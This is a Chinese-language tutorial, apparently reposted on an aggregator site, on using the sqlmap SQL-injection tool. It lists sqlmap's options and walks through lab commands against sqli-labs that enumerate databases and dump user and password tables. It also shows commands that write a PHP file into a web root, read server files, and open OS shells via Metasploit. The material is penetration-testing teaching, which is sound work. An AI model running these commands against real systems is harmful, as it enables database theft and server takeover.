SQLMAP工具 详细使用方法

这篇具有很好参考价值的文章主要介绍了SQLMAP工具 详细使用方法。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

官方网址
GitHub地址
使用手册

SQLMAP简介

SQLMAP 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏
洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据
库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可
以通过外带数据连接的方式执行操作系统命令。

SQLMAP支持的注入模式

SQLMAP 能够检测和利用五种不同的 SQL 注入类型。

基于布尔的盲注:即可以根据返回页面判断条件真假的注入
基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句
是否执行(即页面返回时间是否增加)来判断。

基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
联合查询注入:可以使用union的情况下的注入。
堆叠查询注入:可以同时执行多条语句的执行时的注入。

SQLMAP支持的数据库

MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB

SQLMAP安装

Linux:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

sqlmap-dev

Windows:

下载源码 http://sqlmap.org

更新

python sqlmap.py –update

SQLMAP参数详解

使用

python3 sqlmap.py -hh

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

Options

-h,–help 显示基础帮助信息
-hh 显示高级帮助信息
–version 显示版本信息
-v 输出信息的级别 0-6(默认为1)

Target

必须提供至少一个的以下选项来作为目标

-u URL, --url=URL 目标url (e.g.“http://www.site.com/vuln.php?id=1”)
-d DIRECT 用于直接数据库连接的连接字符串
-l LOGFILE 从Burp或WebScarab代理日志文件解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 将谷歌结果处理为目标url
-c CONFIGFILE 从INI配置文件加载选项

Reques

这些选项可用于指定如何连接到目标URL

-A AGENT, --user… 指定HTTP请求 User-Agent 报头值
-H HEADER, --hea… 其他header (e.g. “X-Forwarded-For:
127.0.0.1”)
–method=METHOD 强制使用给定的HTTP方法(e.g. PUT)
–data=DATA 通过POST发送的数据字符串 (e.g. “id=1”)
–param-del=PARA… 用于分割参数值的字符 (e.g. &)
–cookie=COOKIE HTTP Cookie 报头值 (e.g. “PHPSESSID=a8d127e…”)
–cookie-del=COO… 用于分割cookie值的字符 (e.g. 😉
–load-cookies=L… 包含Netscape/wget格式cookies的文件
–drop-set-cookie 忽略响应中的Set-Cookie头
–mobile 通过HTTP User-Agent 头模拟智能手机
–random-agent 使用随机选择的HTTP用户代理头值
–host=HOST HTTP Host header value
–referer=REFERER HTTP Referer header value
–headers=HEADERS 额外的 headers (e.g. “Accept-Language: fr\nETag: 123”)
–auth-type=AUTH… HTTP身份验证类型 (Basic, Digest, NTLM or PKI)
–auth-cred=AUTH… HTTP身份验证凭证 (name:password)
–auth-file=AUTH… HTTP身份验证PEM证书/私钥文件
–ignore-code=IG… 忽略(有问题的)HTTP错误代码 (e.g. 401)
–ignore-proxy 忽略系统默认代理设置
–ignore-redirects 忽略重定向的尝试
–ignore-timeouts 忽略连接超时
–proxy=PROXY 使用代理连接到目标URL
–proxy-cred=PRO… 代理身份验证凭证 (name:password)
–proxy-file=PRO… 从文件加载代理列表
–tor 使用Tor匿名网络
–tor-port=TORPORT 设置Tor代理端口以外的默认
–tor-type=TORTYPE 设置Tor代理类型(HTTP, SOCKS4或SOCKS5(default))
–check-tor 检查Tor是否正确使用
–delay=DELAY 每个HTTP请求之间的延迟(秒)
–timeout=TIMEOUT 等待超时连接秒 (default 30)
–retries=RETRIES 当连接超时时重试 (default 3)
–randomize=RPARAM 随机改变给定参数的值
–safe-url=SAFEURL 测试期间经常访问的URL地址
–safe-post=SAFE… POST数据发送到一个安全的URL
–safe-req=SAFER… 从文件加载安全的HTTP请求
–safe-freq=SAFE… 访问安全URL之间的定期请求
–skip-urlencode 跳过有效负载数据的URL编码
–csrf-token=CSR… 用于保存反csrf令牌的参数
–csrf-url=CSRFURL 提取反csrf令牌访问的URL地址
–csrf-method=CS… 在反csrf令牌页面访问期间使用的HTTP方法
–csrf-retries=C… 重新尝试获取反csrf令牌 (default 0)
–force-ssl 强制使用SSL/HTTPS
–chunked 使用HTTP分块传输编码 (POST) 请求
–hpp 使用HTTP参数污染方法
–eval=EVALCODE 在请求之前评估提供的Python代码 (e.g. “import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization

这些选项可用于优化sqlmap的性能

-o 打开所有优化开关
–predict-output 预测常见查询输出
–keep-alive 使用持久HTTP连接
–null-connection 检索页面长度,而不需要实际的HTTP响应体
–threads=THREADS 最大并发HTTP请求数 (默认为1)

Injection

这些选项可用于指定要测试的参数、提供自定义注入有效负载和可选的篡改脚本

-p TESTPARAMETER 可测试的参数
–skip=SKIP 跳过给定参数的测试
–skip-static 跳过看起来不是动态的测试参数
–param-exclude=… Regexp从测试中排除参数 (e.g. “ses”)
–param-filter=P… 按位置选择可测试参数 (e.g. “POST”)
–dbms=DBMS 强制后端DBMS为提供的值
–dbms-cred=DBMS… DBMS身份验证凭证 (user:password)
–os=OS 强制后端DBMS操作系统为提供的值
–invalid-bignum 使用大的数字使值无效
–invalid-logical 使用逻辑运算来使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷投放机制
–no-escape 关闭字符串转义机制
–prefix=PREFIX 注入有效载荷前缀字符串
–suffix=SUFFIX 注入有效载荷后缀字符串
–tamper=TAMPER 使用给定的脚本篡改注入数据

Detection

这些选项可用于自定义检测阶段

–level=LEVEL 要执行的测试级别 (1-5, default 1)
–risk=RISK 进行测试的风险 (1-3, default 1)
–string=STRING 查询评估为True时匹配的字符串
–not-string=NOT… 查询评估为False时要匹配的字符串
–regexp=REGEXP 正则表达式在查询评估为True时匹配
–code=CODE 查询评估为True时要匹配的HTTP代码
–smart 仅在启发式为正的情况下执行全面测试
–text-only 仅根据文本内容比较页面
–titles 仅根据标题比较页面

Techniques

这些选项可用于调整特定SQL注入技术的测试

–technique=TECH… 使用的SQL注入技术 (default “BEUSTQ”)
–time-sec=TIMESEC 延迟DBMS响应的秒数 (default 5)
–union-cols=UCOLS 要测试UNION查询SQL注入的列范围
–union-char=UCHAR 用于暴力破解列数的字符
–union-from=UFROM 在UNION查询SQL注入的FROM部分中使用表
–dns-domain=DNS… 用于DNS渗透攻击的域名
–second-url=SEC… 搜索结果页面URL以获取二阶响应
–second-req=SEC… 从文件加载二阶HTTP请求

Fingerprint

-f,–fingerprint 执行广泛的DBMS版本指纹

Enumeration

这些选项可用于枚举表中包含的端到端数据库管理系统信息、结构和数据

-a, --all
检索所有内容
-b, --banner
检索 DBMS banner
–current-user
检索 DBMS 当前用户
–current-db
检索 DBMS 当前数据库
–hostname
检索 DBMS 服务器主机名
–is-dba
检测 DBMS 当前用户是否为 DBA
–users
枚举 DBMS 用户
–passwords
枚举 DBMS 用户密码哈希
–privileges
枚举 DBMS 用户权限
–roles
枚举 DBMS 用户角色
–dbs
枚举 DBMS 数据库
–tables
枚举 DBMS 数据库表
–columns
枚举 DBMS 数据库表列
–schema
枚举 DBMS 架构
–count
检索表的条目数
–dump
转储 DBMS 数据库表条目
–dump-all
转储所有 DBMS 数据库表表条目
–search
搜索列、表 和/或 数据库名称
–comments
在枚举期间检查 DBMS 注释
–statements
检索在 DBMS 上运行的 SQL 语句
-D DB
要枚举的 DBMS 数据库
-T TBL
要枚举的 DBMS 数据库表
-C COL
要枚举的 DBMS 数据库表列
-X EXCLUDE
要不枚举的 DBMS 数据库标识符
-U USER
要枚举的 DBMS 用户
–exclude-sysdbs
枚举表时排除 DBMS 系统数据库
–pivot-column=P…
数据透视列名称
–where=DUMPWHERE
表转储时使用 WHERE 条件
–start=LIMITSTART
要检索的第一个转储表条目
–stop=LIMITSTOP
要检索的最后一个转储表条目
–first=FIRSTCHAR
要检索的第一个查询输出单词字符
–last=LASTCHAR
要检索的最后一个查询输出单词字符
–sql-query=SQLQ…
要执行的 SQL 语句
–sql-shell
交互式 SQL 外壳的提示
–sql-file=SQLFILE
从给定文件执行 SQL 语句

Brute force

这些选项可用于运行暴力检查

–common-tables 检查是否存在公共表
–common-columns 检查是否存在公共列
–common-files
检查是否存在通用文件

User-defined function injection

这些选项可用于创建用户自定义的函数

–udf-inject
注入用户自定义的函数
–shared-lib=SHLIB
共享库的本地路径

File system access

这些选项可用于访问文件系统基础的端到端数据库管理系统

–file-read=FILE… 从后端 DBMS 文件系统读取文件
–file-write=FIL… 在端到端 DBMS 文件系统上写入本地文件
–file-dest=FILE… 要写入的端到端 DBMS 绝对文件路径

python3 sqlmap.py -u http://172.26.2.36/vulnlab/index.php?id=1
–file-write=eval.txt --file-dest=/var/www/html/upload/123.php
python3 sqlmap.py -u http://172.26.2.36/vulnlab/index.php?id=1
–file-read=/etc/httpd/conf

Operating system access

这些选项可用于访问操作系统基础的端到端数据库管理系统

–os-cmd=OSCMD
执行操作系统命令
–os-shell
交互式操作系统外壳的提示
–os-pwn
提示 OOB shell, Meterpreter or VNC
–os-smbrelay
一键提示 OOB shell, Meterpreter or VNC
–os-bof
存储过程缓冲区溢出利用
–priv-esc
数据库进程用户权限升级
–msf-path=MSFPATH
安装 Metasploit 框架的本地路径
–tmp-path=TMPPATH
临时文件目录的远程绝对路径

sqlmap -u http://172.26.2.36/vulnlab/index.php?id=1 --os-pwn –
msf-path /usr/share/metasploit-framework/

Windows registry access

这些选项可用于访问端到端数据库管理系统 Windows 注册表

–reg-read 读取 Windows 注册表项值
–reg-add 写入 Windows 注册表项值数据
–reg-del 删除 Windows 注册表项值
–reg-key=REGKEY Windows 注册表项
–reg-value=REGVAL Windows 注册表密钥值
–reg-data=REGDATA Windows 注册表密钥值数据
–reg-type=REGTYPE Windows 注册表键值类型

General

这些选项可用于设置一些常规工作参数

-s SESSIONFILE 从存储的(.sqlite)文件加载会话
-t TRAFFICFILE 将所有 HTTP 流量记录到文本文件中
–answers=ANSWERS 设置预定义answers (e.g. “quit=N,follow=N”)
–base64=BASE64P… 包含 Base64 编码数据的参数
–base64-safe 使用 URL 和文件名安全 Base64 字母表
–batch 从不要求用户输入,使用默认行为
–binary-fields=… 具有二进制值的结果字段 (e.g. “digest”)
–check-internet 在评估目标之前检查互联网连接
–cleanup 从 sqlmap 特定的 UDF 和表清理 DBMS
–crawl=CRAWLDEPTH 从目标 URL 开始抓取网站
–crawl-exclude=… regexp从爬网中排除页面 (e.g. “logout”)
–csv-del=CSVDEL CSV 输出中使用的分隔字符 (default “,”)
–charset=CHARSET 盲 SQL 注入字符集 (e.g. “0123456789abcdef”)
–dump-format=DU… 转储数据的格式 (CSV (default), HTML or
SQLITE)
–encoding=ENCOD… 用于数据检索的字符编码 (e.g. GBK)
–eta 显示每个输出的估计到达时间
–flush-session 刷新当前目标的会话文件
–forms 在目标 URL 上解析和测试表单
–fresh-queries 忽略存储在会话文件中的查询结果
–gpage=GOOGLEPAGE 使用来自指定页号的 Google dork 结果
–har=HARFILE 将所有 HTTP 流量记录到 HAR 文件中
–hex 在数据检索期间使用十六进制转换
–output-dir=OUT… 自定义输出目录路径
–parse-errors 分析并显示来自响应的 DBMS 错误消息
–preprocess=PRE… 使用给定的脚本预处理响应数据
–repair 具有未知字符标记的Redump条目
–save=SAVECONFIG 将选项保存到配置 INI 文件
–scope=SCOPE 用于筛选目标的 Regexp
–skip-waf 跳过 WAF/IPS 保护的启发式检测
–table-prefix=T… 用于临时表的前缀 (default: “sqlmap”)
–test-filter=TE… 按有效负载 和/或 标题选择测试 (e.g. ROW)–test-skip=TEST… 按有效负载 和/或 标题跳过测试 (e.g. BENCHMARK)
–web-root=WEBROOT Web 服务器文档根目录 (e.g. “/var/www”)

Miscellaneous

这些选项不适合任何其他类别

-z MNEMONICS
使用短的分音 (e.g. “flu,bat,ban,tec=EU”)
–alert=ALERT
找到 SQL 注入时运行主机 OS 命令
–beep
问题 和/或 找到 SQL 注入时发出蜂鸣音
–dependencies
检查缺少(可选)sqlmap 依赖项
–disable-coloring 禁用控制台输出着色
–list-tampers
显示可用篡改脚本的列表
–offline
脱机模式下工作(仅使用会话数据)
–purge
安全地从 sqlmap
数据目录中删除所有内容
–results-file=R…
CSV 结果文件在多个目标模式下的位置
–sqlmap-shell
交互式 sqlmap 外壳的提示
–tmp-dir=TMPDIR
用于存储临时文件的本地目录
–unstable
调整不稳定连接的选项
–update
更新 sqlmap
–wizard
适合初学者用户的简单向导界面

SQLMAP实例

GET注入

检测SQL注入漏洞(以 sqli-labs less-1为例)

测试目标是否存在SQL注入漏洞

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取当前用户

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --current-user

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取当前数据库

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --current-db

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取所有数据库名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --dbs

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取数据库的表名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security --tables

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取数据表下的字段名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security -T emails --columns

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取字段值

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security -T emails -C id,email_id --dump

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

POST注入

用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

python3 sqlmap.py -r aa.txt + 参数

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

检查目标是否存在注入漏洞

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt"

[0] place: POST, parameter: uname, type: Double quoted string (default)
[1] place: POST, parameter: passwd, type: Double quoted string

跑出以上两个注入点

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取所有数据库

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname --dbs

"C:\Users\xxxxx\Desktop\post.txt":请求数据保存的位置

uname:要测试的请求参数

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取数据库中的表名

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security --tables

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取数据表下的字段名

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security -T users --columns

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全

获取字段值

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security -T users -C id,password,username --dump  

sqlmap使用方法,WEB安全基础,数据库,java,sql,安全,web安全文章来源地址https://www.toymoban.com/news/detail-516676.html

到了这里,关于SQLMAP工具 详细使用方法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    一、sqlmap简介 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 sqlmap支持五种不同的注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容

    2023年04月10日
    浏览(24)
  • Web安全之Linux安装nmap+sqlmap

    工欲善其事必先利其器,我一直信奉的是好的工具才能带来好的效率。nmap作为端口扫描工具,sqlmap作为sql漏洞注入工具是web渗透不可或缺的两大类工具。 事实上,对于专业从事web安全渗透的人来说,kail才是王道。自带集成多种工具。 1、安装包: (1)可以官网下载,地址:

    2024年02月06日
    浏览(35)
  • WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF

    访问使用阿里云搭建的网站(存在自带的阿里云盾)。 可以看到此时网站可以正常访问,可以进行正常注入。 使用工具进行注入。 可以看到在使用工具注入没多久后便返回了不存在注入点的信息。 因为经常会用到SQLMAP这款工具对注入点进行检测,在遇到WAF时,如果还想继续

    2024年02月12日
    浏览(35)
  • 【sqlmap工具的使用】

    .命令基础解析 sqlmap 支持五种不同的注入模式: 1、 基于布尔的盲注, 即可以根据返回页面判断条件真假的注入。 2、 基于时间的盲注, 即不能根据页面返回内容判断任何信息, 用条件语句查看 时间延迟语句是否执行(即页面返回时间是否增加) 来判断。 3、 基于报错注

    2024年02月08日
    浏览(27)
  • Sqlmap工具使用笔记

    SQLmap建议使用kali版本的 不建议使用windows版本 攻击的时候建议使用vps去攻击 否则本地ip会很快被封 本身是使用python编写的 非常厉害 基本人手一个  而且是开源的 可以自行重写改造开发 如果sqlmap攻击比较慢 要么是网站比较慢 或者是有防火墙,这款软件本身是有指纹的 可能

    2024年02月06日
    浏览(31)
  • Web攻防06_sqlmap的使用

    参考链接: https://blog.csdn.net/Goodric/article/details/115875009 https://www.cnblogs.com/bmjoker/p/9326258.html sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。 注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。 支持五种不同的注

    2024年02月06日
    浏览(30)
  • Sqlmap详细使用教程

    sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操

    2024年02月11日
    浏览(31)
  • SQLmap使用教程图文教程(超详细)

    「作者主页」: 士别三日wyx 「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 SQLmap是一款 「自动化」 SQL注入工具,kali自带。路径 /usr/share/sqlmap 打开终端

    2024年02月16日
    浏览(32)
  • 超详细SQLMap使用攻略及技巧分享

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操

    2024年02月08日
    浏览(40)
  • 渗透工具-sqlmap-基本知识及使用教程

      -u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --dump-all  拖库 --batch  自动选择

    2024年02月04日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包